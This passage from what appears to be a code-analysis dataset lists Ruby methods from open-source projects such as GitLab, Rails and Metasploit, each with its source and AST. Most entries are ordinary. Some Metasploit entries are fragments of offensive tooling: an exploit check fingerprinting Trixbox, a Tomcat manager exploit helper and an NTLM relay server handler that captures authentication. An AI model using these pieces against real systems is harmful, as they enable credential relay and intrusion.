\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_code\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_cookies\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"PHPSESSID_REGEX\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"We were successfully sent a PHPSESSID of '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"The server did not send us the cookie we were looking for\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"langChoice\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"The page does not appear to contain a langChoice field\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(v2\\\\.6\\\\.1)\\\\s{2}&copy;2008 Fonality\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trixbox \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\" detected!\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"The target may be skinned making detection too difficult\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"trixbox - User Mode\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"ce5a853d-552d-405a-b6cb-5d950ced0621"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/copy_column_using_background_migration_job.rb","start_line":32,"raw_source":"def build_assignment_clauses(copy_from, copy_to)\n        copy_from = Array.wrap(copy_from)\n        copy_to = Array.wrap(copy_to)\n\n        unless copy_from.count == copy_to.count\n          raise ArgumentError, 'number of source and destination columns must match'\n        end\n\n        assignments = copy_from.zip(copy_to).filter_map do |from_column, to_column|\n          next unless column_exist?(from_column) && column_exist?(to_column)\n\n          from_column = connection.quote_column_name(from_column)\n          to_column = connection.quote_column_name(to_column)\n\n          \"#{to_column} = #{from_column}\"\n        end\n\n        assignments.join(', ')\n      end","complexity_score":27.3,"ast_json":"{\"type\":\"def\",\"children\":[\"build_assignment_clauses\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"copy_from\"]},{\"type\":\"arg\",\"children\":[\"copy_to\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"copy_from\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"copy_from\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"copy_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"copy_to\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy_from\"]},\"count\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy_to\"]},\"count\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"number of source and destination columns must match\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"assignments\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy_from\"]},\"zip\",{\"type\":\"lvar\",\"children\":[\"copy_to\"]}]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from_column\"]},{\"type\":\"arg\",\"children\":[\"to_column\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_exist?\",{\"type\":\"lvar\",\"children\":[\"from_column\"]}]},{\"type\":\"send\",\"children\":[null,\"column_exist?\",{\"type\":\"lvar\",\"children\":[\"to_column\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"from_column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"from_column\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"to_column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"to_column\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_column\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from_column\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignments\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}","id":"1cb20424-ccf2-441e-bf77-b2a73edaf617"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/inbox.rb","start_line":105,"raw_source":"def sanitized_name\n    return default_name_for_blank_name if name.blank?\n\n    sanitized = apply_sanitization_rules(name)\n    sanitized.blank? && email? ? display_name_from_email : sanitized\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"sanitized_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_name_for_blank_name\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sanitized\",{\"type\":\"send\",\"children\":[null,\"apply_sanitization_rules\",{\"type\":\"send\",\"children\":[null,\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sanitized\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"email?\"]}]},{\"type\":\"send\",\"children\":[null,\"display_name_from_email\"]},{\"type\":\"lvar\",\"children\":[\"sanitized\"]}]}]}]}","id":"2be63708-86a2-429c-a227-19a04456e560"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb","start_line":229,"raw_source":"def self.rm(name)\n                request = Packet.create_request(COMMAND_ID_STDAPI_FS_DELETE_FILE)\n\n                request.add_tlv(TLV_TYPE_FILE_PATH, client.unicode_filter_decode(name))\n\n                response = client.send_request(request)\n\n                return response\n              end","complexity_score":8.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"rm\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_FS_DELETE_FILE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_FILE_PATH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_decode\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"b3fcd737-e6cd-421b-bb6d-f5d5f8415348"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extension_mapper.rb","start_line":26,"raw_source":"def self.get_extension_id(name)\n    begin\n      k = self.get_extension_klass(name)\n    rescue RuntimeError\n      return nil\n    end\n\n    k.extension_id\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_extension_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"k\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_extension_klass\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"extension_id\"]}]}]}","id":"90814e38-ecd4-485f-b7f5-6172ad68306d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/pdu.rb","start_line":227,"raw_source":"def from_pdu(request)\n            Response.new(request.request_id, request.varbind_list,\n                :noError, 0)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"from_pdu\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Response\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"request_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"varbind_list\"]},{\"type\":\"sym\",\"children\":[\"noError\"]},{\"type\":\"int\",\"children\":[0]}]}]}","id":"372f6d92-2823-44b2-814e-8876c7e511ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/repository/commit.rb","start_line":45,"raw_source":"def api_post_body\n          {\n            branch: branch || project.default_branch,\n            commit_message: commit_message,\n            actions: actions\n          }.merge(new_branch)\n        end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"api_post_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"default_branch\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_message\"]},{\"type\":\"send\",\"children\":[null,\"commit_message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actions\"]},{\"type\":\"send\",\"children\":[null,\"actions\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"new_branch\"]}]}]}","id":"0d13580a-2703-4b1e-a44a-77b8438d3ca3"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":1088,"raw_source":"def setup\n    @t, @dt, @zone = Time.utc(2000), DateTime.civil(2000), Time.zone\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@t\"]},{\"type\":\"ivasgn\",\"children\":[\"@dt\"]},{\"type\":\"ivasgn\",\"children\":[\"@zone\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]}]}]}]}","id":"e3239c49-6b46-4bfd-a28a-328284f9edbf"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/relation_scoping_test.rb","start_line":619,"raw_source":"def test_none_scoping\n    Category.none.scoping do\n      assert_equal 2, @welcome.categories.count\n      assert_equal \"a category...\", @welcome.categories.what_are_you\n    end\n\n    Category.where(\"1=1\").scoping do\n      assert_equal 2, @welcome.categories.count\n      assert_equal \"a category...\", @welcome.categories.what_are_you\n    end\n  end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_none_scoping\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"none\"]},\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@welcome\"]},\"categories\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a category...\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@welcome\"]},\"categories\"]},\"what_are_you\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"where\",{\"type\":\"str\",\"children\":[\"1=1\"]}]},\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@welcome\"]},\"categories\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a category...\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@welcome\"]},\"categories\"]},\"what_are_you\"]}]}]}]}]}]}","id":"48519a86-961e-4eb7-98cf-5243587fb83d"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/app/controllers/doorkeeper/authorizations_controller.rb","start_line":55,"raw_source":"def can_authorize_response?\n      Doorkeeper.config.custom_access_token_attributes.empty? && pre_auth.client.application.confidential? && matching_token?\n    end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_authorize_response?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"config\"]},\"custom_access_token_attributes\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pre_auth\"]},\"client\"]},\"application\"]},\"confidential?\"]}]},{\"type\":\"send\",\"children\":[null,\"matching_token?\"]}]}]}","id":"d662beb5-2cd4-4018-824d-2c248aa70576"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/users/email_verification_on_login_spec.rb","start_line":519,"raw_source":"def expect_log_message(event = nil, times = 1, reason: '', message: nil)\n    expect(Gitlab::AppLogger).to have_received(:info)\n      .exactly(times).times\n      .with(message || hash_including(\n        message: 'Email Verification',\n        event: event,\n        username: user.username,\n        ip: '127.0.0.1',\n        reason: reason\n      ))\n  end","complexity_score":16.95,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_log_message\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"event\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"times\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"kwoptarg\",\"children\":[\"reason\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"have_received\",{\"type\":\"sym\",\"children\":[\"info\"]}]},\"exactly\",{\"type\":\"lvar\",\"children\":[\"times\"]}]},\"times\"]},\"with\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"hash_including\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Email Verification\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"lvar\",\"children\":[\"event\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"str\",\"children\":[\"127.0.0.1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]}]}]}]}]}]}]}","id":"eb6cc4f6-a51a-4b9e-8205-467badc1c7fd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/tomcat_mgr_deploy.rb","start_line":255,"raw_source":"def query_serverinfo()\n    path = normalize_uri(datastore['PATH'], '/serverinfo')\n    res = send_request_raw(\n      {\n        'uri' => path\n      }, 10\n    )\n\n    if (not res) or (res.code != 200)\n      print_error(\"Failed: Error requesting #{path}\")\n      return nil\n    end\n\n    vprint_status(res.body)\n\n    return res\n  end","complexity_score":16.13,"ast_json":"{\"type\":\"def\",\"children\":[\"query_serverinfo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH\"]}]},{\"type\":\"str\",\"children\":[\"/serverinfo\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed: Error requesting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"c8b3e161-18ab-4d92-8865-710da8d041cd"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/app/services/boards/base_create_service.rb","start_line":44,"raw_source":"def create_query(params)\n      Queries::CreateService.new(user: User.current)\n                            .call(create_query_params(params))\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queries\"]},\"CreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[null,\"create_query_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"04796e80-01c5-4087-ba74-29f0a6a979e8"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/recurring_meeting.rb","start_line":240,"raw_source":"def next_occurrence(from_time: Time.current)\n    schedule.next_occurrence(from_time)&.to_time\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"next_occurrence\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"from_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schedule\"]},\"next_occurrence\",{\"type\":\"lvar\",\"children\":[\"from_time\"]}]},\"to_time\"]}]}","id":"162bf7c6-e303-4a9b-b318-b5071e823968"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post_action.rb","start_line":155,"raw_source":"def is_flag?\n    !!post_action_type_view.notify_flag_types[post_action_type_id]\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"is_flag?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_action_type_view\"]},\"notify_flag_types\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"post_action_type_id\"]}]},\"!\"]},\"!\"]}]}","id":"9d95ac15-dc03-4d6e-95f5-51cd9fcd5bc4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/search_helper.rb","start_line":287,"raw_source":"def formatted_count(scope)\n    return \"0\" if @timeout\n\n    @search_results&.formatted_count(scope) || \"0\"\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timeout\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"0\"]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@search_results\"]},\"formatted_count\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"str\",\"children\":[\"0\"]}]}]}]}","id":"52ed27f6-e17a-4e68-87e1-8872256536c0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/http_ntlmrelay.rb","start_line":95,"raw_source":"def on_request_uri(cli, request)\n    case request.method\n    when 'OPTIONS'\n      process_options(cli, request)\n    else\n      cli.keepalive = true;\n\n      # If the host has not started auth, send 401 authenticate with only the NTLM option\n      if (!request.headers['Authorization'])\n        response = create_response(401, \"Unauthorized\")\n        response.headers['WWW-Authenticate'] = \"NTLM\"\n        response.headers['Proxy-Support'] = 'Session-Based-Authentication'\n\n        response.body =\n          \"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>\"\n\n        cli.send_response(response)\n        return false\n      end\n      method, hash = request.headers['Authorization'].split(/\\s+/, 2)\n      # If the method isn't NTLM something odd is going on.\n      # Regardless, this won't get what we want, 404 them\n      if (method != \"NTLM\")\n        print_status(\"Unrecognized Authorization header, responding with 404\")\n        send_not_found(cli)\n        return false\n      end\n\n      print_status(\"NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}\")\n\n      if (datastore['SYNCFILE'] != nil)\n        sync_options()\n      end\n\n      handle_relay(cli, hash)\n    end\n  end","complexity_score":49.15,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"OPTIONS\"]},{\"type\":\"send\",\"children\":[null,\"process_options\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"keepalive=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Authorization\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[401]},{\"type\":\"str\",\"children\":[\"Unauthorized\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"WWW-Authenticate\"]},{\"type\":\"str\",\"children\":[\"NTLM\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Proxy-Support\"]},{\"type\":\"str\",\"children\":[\"Session-Based-Authentication\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body=\",{\"type\":\"str\",\"children\":[\"<HTML><HEAD><TITLE>You are not authorized to view this 